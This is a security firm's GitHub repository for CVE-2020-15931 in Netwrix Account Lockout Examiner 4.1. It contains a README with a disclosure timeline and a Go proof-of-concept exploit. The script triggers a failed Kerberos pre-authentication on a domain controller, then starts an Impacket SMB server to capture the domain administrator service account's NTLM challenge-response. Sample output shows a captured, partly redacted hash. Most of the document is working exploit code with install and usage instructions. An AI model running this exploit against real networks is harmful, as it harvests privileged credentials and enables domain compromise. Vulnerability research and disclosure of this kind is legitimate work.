├── LICENSE ├── README.md ├── cve-2020-15931.go └── netwrix_attack.png /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Optiv Security 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-15931 2 | #### Netwrix Account Lockout Examiner 4.1 Domain Admin Account Credential Disclosure Vulnerability 3 | 4 | ## Vulnerbility Overview 5 | Netwrix Account Lockout Examiner (ALE) before 5.1 allows an unauthenticated, remote adversary to trigger a connection to an attacker-controlled system and capture the NTLMv1/v2 challenge-response of an account with domain administrator privileges. The domain administrator account would already be configured with the product as required for installation. An adversary can exploit this by generating a single Kerberos Pre-Authentication Failed (Event ID 4771) event on a domain controller. 6 | 7 | More details about the vulnerability can be found on the following [Blog](https://www.optiv.com/explore-optiv-insights/source-zero/netwrix-account-lockout-examiner-41-disclosure-vulnerability?utm_source=oth&?utm_medium=dig&?utm_content=blg?cid=prt:red-netwrix-lockout-examiner:thl:som:sze:int:Q3:2020::ALL) 8 | 9 | ![image](https://github.com/optiv/CVE-2020-15931/blob/master/netwrix_attack.png) 10 | 11 | ## Credits 12 | The vulnerability was discovered in the wild by Robert Surace ([@robsauce](https://github.com/ROBSAUCE)) and Daniel Min ([@bigb0ss](https://github.com/bigb0sss)), Optiv Security Consultants while performing a security assessment. Upon identification of CVE-2020-15931, Optiv immediately contacted Netwrix to disclose the identified flaw responsibly. 13 | 14 | ## Vulnerability Disclosure Timeline 15 | * June 09, 2020 – Vulnerability discovered by Optiv 16 | * June 15, 2020 – Disclosed by Optiv to vendor 17 | * July 14, 2020 – Vendor acknowledged the issue and agreed to release the fixed version 18 | * July 23, 2020 – Disclosed to CNA (MITRE Corporation) 19 | * July 24, 2020 – Vendor released the fixed version of the Netwrix Account Lockout Examiner 5.1 20 | * July 24, 2020 – CVE-2020-15931 assigned by CNA (MITRE Corporation) 21 | * August 13, 2020 – Disclosed to the public 22 | * October 30, 2020 - Base Score 7.5 High assigned by NVD (National Vulnerability Database) 23 | 24 | ## Exploit Script 25 | ### Installation 26 | The exploit script was developed in golang. Install the following dependencies: 27 | ``` 28 | go get github.com/fatih/color 29 | go get github.com/ropnop/gokrb5/client 30 | go get github.com/ropnop/gokrb5/config 31 | ``` 32 | 33 | It also utilizes the smbserver.py from [Impacket](https://github.com/SecureAuthCorp/impacket). 34 | ``` 35 | pip install impacket 36 | ``` 37 | 38 | Finally, download the exploit script and build it. 39 | ``` 40 | git clone https://github.com/optiv/CVE-2020-15931 41 | go build cve-2020-15931.go 42 | ``` 43 | 44 | ### Usage 45 | ``` 46 | $ ./cve-2020-15931 47 | 48 | _______ ________ ___ ___ ___ ___ __ _____ ___ ____ __ 49 | / ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ | ____/ _ \___ \/_ | 50 | | | \ \ / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || | 51 | | | \ \/ / | __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | | 52 | | |____ \ / | |____ / /_| |_| / /_| |_| | | |___) | / /___) || | 53 | \_____| \/ |______| |____|\___/____|\___/ |_|____/ /_/|____/ |_| 54 | [robSauce & bigb0ss] v1.0 55 | 56 | [+] Netwrix Account Lockout Examiner 4.1 Exploit Script 57 | 58 | 59 | Required: 60 | -d Domain name 61 | -dc Domain controller 62 | -u Valid username 63 | 64 | Optional: 65 | -h Print this help menu 66 | 67 | Example: 68 | ./cve-2020-15931 -d target.com -dc 10.10.0.2 -u jsmith 69 | 70 | ``` 71 | 72 | ### Exploit 73 | (Note: At the time of writing, this attack can only be identified via a blind-based attack. This is because it is difficult 74 | to determine if the target organization is using Netwrix Account Lockout Examiner on their network to audit account authentications or not.) 75 | ``` 76 | $ ./cve-2020-15931 -d bosslab.com -dc 10.10.0.2 -u b0ss1 77 | 78 | _______ ________ ___ ___ ___ ___ __ _____ ___ ____ __ 79 | / ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ | ____/ _ \___ \/_ | 80 | | | \ \ / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || | 81 | | | \ \/ / | __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | | 82 | | |____ \ / | |____ / /_| |_| / /_| |_| | | |___) | / /___) || | 83 | \_____| \/ |______| |____|\___/____|\___/ |_|____/ /_/|____/ |_| 84 | [robSauce & bigb0ss] v1.0 85 | 86 | [+] Netwrix Account Lockout Examiner 4.1 Exploit Script 87 | 88 | [+] DC: 10.10.0.2 89 | [+] Domain: bosslab.com 90 | [+] Username: b0ss1 91 | [+] Password: wrongPass 92 | [+] Event ID 4771 (Kerberos Pre-Authentication Failed) Triggered! 93 | [+] If vulnerable, you will get a NTLMv1/2 of the Netwrix service account. 94 | [+] SMB Server Started... 95 | 96 | Impacket v0.9.22.dev1+20200607.100119.b5c61678 - Copyright 2020 SecureAuth Corporation 97 | 98 | [*] Config file parsed 99 | [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 100 | [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 101 | [*] Config file parsed 102 | [*] Config file parsed 103 | [*] Config file parsed 104 | [*] Incoming connection (10.10.0.2,59264) 105 | [*] AUTHENTICATE_MESSAGE(BOSSLAB\Administrator,BOSSLAB-DC01) 106 | [*] User BOSSLAB-DC01\Administrator authenticated successfully 107 | [*] Administrator::BOSSLAB:17dcc32c6eafc48d:f798e7c906eb1b639722614f1417ded1:0101000000000000be18...REDACTED...0000000 108 | [*] Disconnecting Share(1:IPC$) 109 | [*] Closing down connection (10.10.0.2,59264) 110 | [*] Remaining connections [] 111 | ``` 112 | ## References 113 | [Netwrix Account Lockout Examiner 5.1](https://www.netwrix.com/account_lockout_examiner.html)
114 | [Event ID 4771](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4771)
115 | [Impacket smbserver.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py)
116 | [Gokrb5 Client](https://github.com/ropnop/gokrb5)
117 | [CVE-2020-15931](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15931)
118 | 119 | 120 | -------------------------------------------------------------------------------- /cve-2020-15931.go: -------------------------------------------------------------------------------- 1 | // Version : 1.0 2 | // Created date : 08/13/2020 3 | // Last update : 08/13/2020 4 | // Authors : Daniel Min (@bigb0ss) & Robert Surace (@robSauce) 5 | // Description : Proof-of-Concept Exploit Script for CVE-2020-15931 6 | 7 | package main 8 | 9 | import ( 10 | 11 | "flag" 12 | "fmt" 13 | "os" 14 | "strings" 15 | "log" 16 | "os/exec" 17 | 18 | "github.com/fatih/color" 19 | kclient "github.com/ropnop/gokrb5/client" 20 | kconfig "github.com/ropnop/gokrb5/config" 21 | ) 22 | 23 | 24 | type Authenticator interface { 25 | Login() (string, string, error) 26 | } 27 | 28 | 29 | const ( 30 | usage = ` 31 | Required: 32 | -d Domain name 33 | -dc Domain controller 34 | -u Valid username 35 | 36 | Optional: 37 | -h Print this help menu 38 | 39 | Example: 40 | ./cve-2020-15931 -d target.com -dc 10.10.0.2 -u jsmith 41 | ` 42 | 43 | KERB_FMT_STRING = `[libdefaults] 44 | default_realm = ${REALM} 45 | dns_lookup_realm = false 46 | dns_lookup_kdc = true 47 | [realms] 48 | %s = { 49 | kdc = %s 50 | }` 51 | ) 52 | 53 | 54 | type FlagOptions struct { 55 | help bool 56 | username string 57 | domain string 58 | password string 59 | dc string 60 | } 61 | 62 | func banner() { 63 | banner := ` 64 | _______ ________ ___ ___ ___ ___ __ _____ ___ ____ __ 65 | / ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ | ____/ _ \___ \/_ | 66 | | | \ \ / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || | 67 | | | \ \/ / | __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | | 68 | | |____ \ / | |____ / /_| |_| / /_| |_| | | |___) | / /___) || | 69 | \_____| \/ |______| |____|\___/____|\___/ |_|____/ /_/|____/ |_| 70 | [robSauce & bigb0ss] v1.0 71 | 72 | [+] Netwrix Account Lockout Examiner 4.1 Exploit Script 73 | 74 | ` 75 | color.White(banner) 76 | } 77 | 78 | func options() *FlagOptions { 79 | username := flag.String("u","","Username") 80 | domain := flag.String("d","","Domain Name") 81 | dc := flag.String("dc","","Domain controller") 82 | help := flag.Bool("h", false, "Help Menu") 83 | flag.Parse() 84 | return &FlagOptions{help: *help, username: *username, domain: *domain, dc: *dc} 85 | } 86 | 87 | func kerbAuth(username string, domain string, domainController string) string { 88 | var dom = domain 89 | var user = username 90 | var pass = "wrongPass" // Wrong Password 91 | var dc = domainController 92 | 93 | var payload string = "[+] DC: \t" + dc + "\n" 94 | payload+= "[+] Domain: \t" + dom + "\n" 95 | payload+= "[+] Username: \t" + user + "\n" 96 | payload+= "[+] Password: \t" + pass + "\n" 97 | 98 | // Formats the config per the RFC standard 99 | kcfg_str := fmt.Sprintf(KERB_FMT_STRING, dom, dc) 100 | cfg, err := kconfig.NewConfigFromString(kcfg_str) 101 | cl := kclient.NewClientWithPassword(user, dom, pass, cfg, kclient.DisablePAFXFAST(true)) 102 | err = cl.Login() 103 | 104 | if err != nil { 105 | if strings.Contains(err.Error(), "Networking_Error: AS Exchange Error") { 106 | color.Red("[-] Can't connect to DC\n") 107 | os.Exit(1) 108 | } else if strings.Contains(err.Error(), "KRB_AP_ERR_SKEW") { 109 | color.Red("[-] Cannot connect to DC\n") 110 | os.Exit(1) 111 | } else if strings.Contains(err.Error(), "KDC_ERR_C_PRINCIPAL_UNKNOWN") { 112 | color.Green(payload) 113 | color.Yellow("[-] User is NOT valid!\n") 114 | os.Exit(1) 115 | } else if strings.Contains(err.Error(), "KDC_ERR_CLIENT_REVOKED") { 116 | color.Green(payload) 117 | color.Yellow("[-] User is locked!\n") 118 | os.Exit(1) 119 | } else if strings.Contains(err.Error(), "KDC_ERR_PREAUTH_FAILED") { 120 | payload+= "[+] Event ID 4771 (Kerberos Pre-Authentication Failed) Triggered!\n" 121 | color.Green(payload) 122 | color.Cyan("[+] If vulnerable, you will get a NTLMv1/2 of the Netwrix service account.\n") 123 | } else { 124 | fmt.Println(payload) 125 | } 126 | } 127 | return payload 128 | } 129 | 130 | 131 | func smb() { 132 | smbServer := exec.Command("smbserver.py","test","/tmp","-smb2support") 133 | smbServer.Stdout = os.Stdout 134 | smbServer.Stderr = os.Stderr 135 | log.Println(smbServer.Run()) 136 | } 137 | 138 | func main (){ 139 | banner() 140 | opt := options() 141 | if opt.help{ 142 | fmt.Println(usage) 143 | os.Exit(0) 144 | } 145 | 146 | if opt.username == "" || opt.domain == "" || opt.dc == "" { 147 | fmt.Println(usage) 148 | os.Exit(0) 149 | } 150 | 151 | kerbAuth(opt.username, opt.domain, opt.dc) 152 | 153 | // SMB Server (Impacket smbserver.py) 154 | fmt.Println("[+] SMB Server Started...") 155 | smb() 156 | } 157 | -------------------------------------------------------------------------------- /netwrix_attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/optiv/CVE-2020-15931/7f5447dab73c1da7e4ba0d07df0a812fe7e2dfd4/netwrix_attack.png --------------------------------------------------------------------------------